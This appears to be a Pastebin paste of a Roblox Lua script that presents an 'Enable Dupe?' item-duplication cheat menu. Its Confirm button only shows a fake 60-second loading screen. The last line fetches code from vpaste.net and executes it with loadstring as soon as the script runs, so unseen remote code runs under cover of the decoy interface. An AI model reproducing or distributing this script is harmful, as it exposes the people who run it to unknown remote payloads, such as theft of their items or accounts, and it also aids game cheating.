Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Create the ScreenGui
- local screenGui = Instance.new("ScreenGui")
- screenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- -- Create the black box frame
- local frame = Instance.new("Frame")
- frame.Size = UDim2.new(0, 300, 0, 200)
- frame.Position = UDim2.new(0.5, -150, 0.5, -100)
- frame.BackgroundColor3 = Color3.new(0, 0, 0)
- frame.Parent = screenGui
- -- Create the title label
- local label = Instance.new("TextLabel")
- label.Size = UDim2.new(1, 0, 0.4, 0)
- label.Position = UDim2.new(0, 0, 0, 0)
- label.BackgroundTransparency = 1
- label.Text = "Enable Dupe?"
- label.TextColor3 = Color3.new(1, 1, 1)
- label.TextScaled = true
- label.Parent = frame
- -- Create the confirm button
- local button = Instance.new("TextButton")
- button.Size = UDim2.new(0.6, 0, 0.25, 0)
- button.Position = UDim2.new(0.2, 0, 0.6, 0)
- button.BackgroundColor3 = Color3.fromRGB(0, 255, 0)
- button.Text = "Confirm"
- button.TextColor3 = Color3.new(0, 0, 0)
- button.TextScaled = true
- button.Parent = frame
- -- Function when button is clicked
- button.MouseButton1Click:Connect(function()
- -- Hide the original frame
- frame.Visible = false
- -- Create a loading screen
- local loadingFrame = Instance.new("Frame")
- loadingFrame.Size = UDim2.new(1, 0, 1, 0)
- loadingFrame.Position = UDim2.new(0, 0, 0, 0)
- loadingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
- loadingFrame.Parent = screenGui
- -- Loading text
- local loadingLabel = Instance.new("TextLabel")
- loadingLabel.Size = UDim2.new(1, 0, 1, 0)
- loadingLabel.Position = UDim2.new(0, 0, 0, 0)
- loadingLabel.BackgroundTransparency = 1
- loadingLabel.Text = "Loading..."
- loadingLabel.TextColor3 = Color3.new(1, 1, 1)
- loadingLabel.TextScaled = true
- loadingLabel.Parent = loadingFrame
- -- Wait for 1 minute (60 seconds)
- wait(60)
- -- After 1 minute, remove the loading screen
- loadingFrame:Destroy()
- -- (Optional) Do something after loading is done
- -- Example: print("Loading Complete!")
- end)
- loadstring(game:HttpGet("http://vpaste.net/8FCp0"))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement